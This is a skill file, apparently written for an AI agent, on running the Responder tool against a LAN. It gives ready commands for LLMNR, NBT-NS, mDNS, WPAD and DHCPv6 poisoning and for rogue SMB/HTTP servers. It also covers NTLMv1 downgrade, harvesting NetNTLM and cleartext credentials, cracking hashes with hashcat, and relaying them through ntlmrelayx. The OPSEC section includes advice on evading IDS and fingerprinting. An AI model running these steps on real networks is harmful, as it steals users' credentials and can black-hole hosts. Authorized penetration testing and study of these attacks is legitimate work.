responder
Poison LLMNR, NBT-NS and mDNS plus rogue SMB/HTTP/LDAP/MSSQL servers to capture NetNTLM hashes, cleartext logons and WPAD proxy auth. Use when you have a foothold on a LAN segment and need credentials
SKILL.mdskills/responder/SKILL.md
GitHubResponder
Responder answers broadcast and multicast name-resolution requests that Windows falls back to when DNS fails, then impersonates whatever service the client was trying to reach. The result is NetNTLMv1/v2 challenges, cleartext Basic/LDAP/FTP logons and, with WPAD, proxy authentication. On this host it lives at /opt/repos/Responder (fork at commit 424fbe5, Responder 3.2.2.0) with no responder binary on PATH, only a zsh alias; always cd into the repo first because Responder.conf, logs/ and Responder.db resolve relative to the install directory.
When to use
| Goal | Mode | Command shape |
|---|---|---|
| See what the segment talks without poisoning | analyze | Responder.py -I eth0 -Av |
| Capture NetNTLM hashes from typos and dead hosts | poison | Responder.py -I eth0 -v |
| Collect proxy auth from WPAD clients | -P |
Responder.py -I eth0 -Pv |
| Inject WPAD via DHCP then catch proxy auth | -d -P |
Responder.py -I eth0 -Pvd |
| Same but force the wpad.dat fetch to authenticate | -wF |
Responder.py -I eth0 -wFv |
| IPv6 DNS takeover for hosts that ignore DHCP | --dhcpv6 |
Responder.py -I eth0 --dhcpv6 -vP |
| Accept only selected names or subnets | config | Responder.conf -> RespondTo, RespondToName |
| Feed relay instead of cracking | relay | SMB = Off, HTTP = Off + ntlmrelayx.py |
Responder is a capture tool. It cannot relay, cannot privilege-escalate a session and cannot forge tickets: hand the hashes to hashcat, or disable its servers and let impacket ntlmrelayx.py answer the same SMB/HTTP ports.
Prerequisites
- Root. The poisoners use raw sockets and the servers bind 53/80/443/445/139/389/1433/21/25/110/3389; the README states root privileges are required and unprivileged runs fail with
Permission denied. - The host zsh profile defines
alias responder='sudo python3 /opt/repos/Responder/Responder.py'; in a non-interactive shell call the interpreter path directly. python3-netifaces,aioquic(already installed for this checkout).- Layer-2 adjacency to the victims. Across a router you see nothing; use mitm6/coercer instead.
- Confirm the version first, since this fork differs from upstream docs:
cd /opt/repos/Responder
python3 Responder.py --version # Responder 3.2.2.0
Core invocations
# 1. Passive scoping: log who asks for what, poison nothing
sudo python3 Responder.py -I eth0 -Av
# 2. Standard hash capture (LLMNR + NBT-NS + mDNS, all rogue servers)
sudo python3 Responder.py -I eth0 -v
# 3. Proxy auth only: most reliable capture against hardened modern clients
sudo python3 Responder.py -I eth0 -Pv
# 4. DHCP injects WPAD, proxy auth catches the CONNECT
sudo python3 Responder.py -I eth0 -Pvd
# 5. WPAD web server plus forced auth on wpad.dat (client may prompt a user)
sudo python3 Responder.py -I eth0 -wFv
# 6. IPv6 DNS takeover when hosts ignore DHCPv4 (can disrupt the segment)
sudo python3 Responder.py -I eth0 --dhcpv6 -vP
# 7. Answer as a different address than the interface's own
sudo python3 Responder.py -I eth0 -e 10.10.10.99 -v
# 8. Return STATUS_LOGON_FAILURE so clients fall back to WebDAV auth
sudo python3 Responder.py -I eth0 -Ev
# 9. Legacy downgrade: NTLMv1 / no ESS, only for old hosts
sudo python3 Responder.py -I eth0 --lm --disable-ess -v
# 10. Random TTL on poisoned answers, harder to fingerprint by TTL math
sudo python3 Responder.py -I eth0 -t random -v
# 11. Run on every interface at once (noisy, easy to overreach)
sudo python3 Responder.py -I ALL -v
# 12. Low-noise background capture; logs still land in ./logs
sudo python3 Responder.py -I eth0 -Q >/tmp/resp.out 2>&1 &
# 13. Harvest captured hashes out of the SQLite store as crackable files
cd /opt/repos/Responder && python3 DumpHash.py # writes DumpNTLMv2.txt, DumpNTLMv1.txt
# 14. Crack what you captured (needs a working hashcat backend, see hashcat skill)
hashcat -m 5600 DumpNTLMv2.txt /opt/wordlists/rockyou.txt
Relay mode is a config change, not a flag: set SMB = Off and HTTP = Off under [Responder Core] in Responder.conf, then point ntlmrelayx.py -tf relay.txt -smb2support at the same segment.
Flags that matter
| Flag | Effect | Note |
|---|---|---|
-I |
interface, required for every mode including -A |
ALL binds everything |
-A |
analyze only, no poisoning | writes logs/Analyzer-Session.log |
-d |
DHCPv4 answers with WPAD injected | does not answer hashes by itself |
-D |
DHCPv4 answers with attacker DNS | different effect from -d |
--dhcpv6 |
DHCPv6 DNS takeover | help text warns May disrupt network |
-w |
start the WPAD rogue proxy | cannot be combined with -P |
-F |
force auth on wpad.dat retrieval |
can show a credential prompt |
-P |
force proxy authentication | help calls it Highly effective |
-b |
HTTP Basic instead of NTLM | yields cleartext, logged separately |
--lm, --disable-ess |
NTLMv1 downgrade | only useful on XP/2003-era hosts |
-E |
return STATUS_LOGON_FAILURE |
triggers WebDAV auth capture |
-e, -6 |
poison with a chosen IPv4/IPv6 | for when the interface IP is wrong |
-t |
TTL for poisoned answers, hex or random |
30s = 1e |
-N |
canonical name in LLMNR answers | used for Kerberos relay over HTTP |
-v, -Q |
verbose / quiet | -v is the practical default |
Workflow
- Scope passively.
-I <iface> -Avfor a few minutes. Readlogs/Analyzer-Session.logto learn which hosts still leak NBT-NS/LLMNR and which names they ask for. - Pick the smallest capture surface. If WPAD names appear,
-Palone is quieter than full poisoning. If only typo'd hostnames appear, plain poisoning is enough. - Trim the config before a real run.
RespondTo/DontRespondTorestrict by subnet;DontRespondToNamekeeps you off NAC/IDS hostnames.AutoIgnoreAfterSuccess = Onstops re-answering a host once you have its hash. - Capture, then decide. Hashes are cheap but noisy. If a hash belongs to a machine account or a service account with relay potential, switch to ntlmrelayx instead of cracking.
- Crack offline. NetNTLMv2 is mode 5600. On this 2 vCPU box hashcat has no compute backend at the moment, so plan the crack for another host; see hashcat for modes and rules.
- Collect artifacts.
logs/SMB-NTLMv2-Client-*.txt,logs/HTTP-NTLMv2-Client-*.txtandResponder.dbare the evidence;Responder-Session.logis the timeline. - Stop cleanly. Ctrl-C restores nothing, so re-check the network: poisoned caches clear on TTL expiry, but a lingering
-dDHCP run keeps answering.
OPSEC and telemetry
- LLMNR/NBT-NS poisoning is loud by design: clients that fail name resolution emit failed DNS/NBT events, and any IDS with a poisoning signature fires on the first spoofed answer.
-bcaptures cleartext passwords inlogs/HTTP-Clear-Text-Password-*.txt; treat those files as engagement evidence and encrypt them.--dhcpv6and-dchange client network configuration and can black-hole hosts; scope to a lab VLAN or a smallRespondTorange.- Hashes land on disk by default.
Responder-Session.logand the SQLite DB both record victim IPs and usernames; delete or encrypt them after extraction. - Relayed authentications show as normal 4624 logons on the target, not on the victim, so successful relay is quiet on the coerced host's log.
Failure modes
| Symptom | Cause | Fix |
|---|---|---|
Permission denied on start |
not root | sudo, or run from a root shell |
Address already in use |
smbd/nmbd, a web server, or a second Responder |
systemctl stop smbd nmbd; ss -tulpn | grep -E '445|80' |
-I error / usage printout |
interface missing or misspelled | ip -brief link |
| Analyze mode is silent | no legacy resolution fallback on the segment | normal for DNS-clean networks; switch to mitm6 |
| Runs but no hashes | servers disabled in Responder.conf |
check SMB/HTTP/LDAP are On |
Only $-suffixed machine names |
those are computer accounts, filtered by DumpHash | expected; machine hashes are still useful for relay |
| WPAD flags conflict | -w and -P are mutually exclusive |
pick -wF or -P |
| IPv6 poisoning does nothing | IPv6 disabled on the victim or your box | sysctl net.ipv6.conf.all.disable_ipv6 must be 0 |
| Hash file exists but hashcat rejects it | wrong -m mode (v1 vs v2) |
-m 5600 for NetNTLMv2, -m 5500 for v1 |
Verification
python3 /opt/repos/Responder/Responder.py --version # Responder 3.2.2.0
python3 /opt/repos/Responder/Responder.py -h | head -20 # banner plus option group headings
ls /opt/repos/Responder/logs # per-protocol hash files appear after a capture
python3 -c "import sqlite3;print([r[0] for r in sqlite3.connect('/opt/repos/Responder/Responder.db').execute('select name from sqlite_master')])"
A healthy run prints the poisoner banner with every enabled service, then [*] [LLMNR] Poisoned answer sent to ... lines. Absence of those lines in -v means nothing on the segment is asking.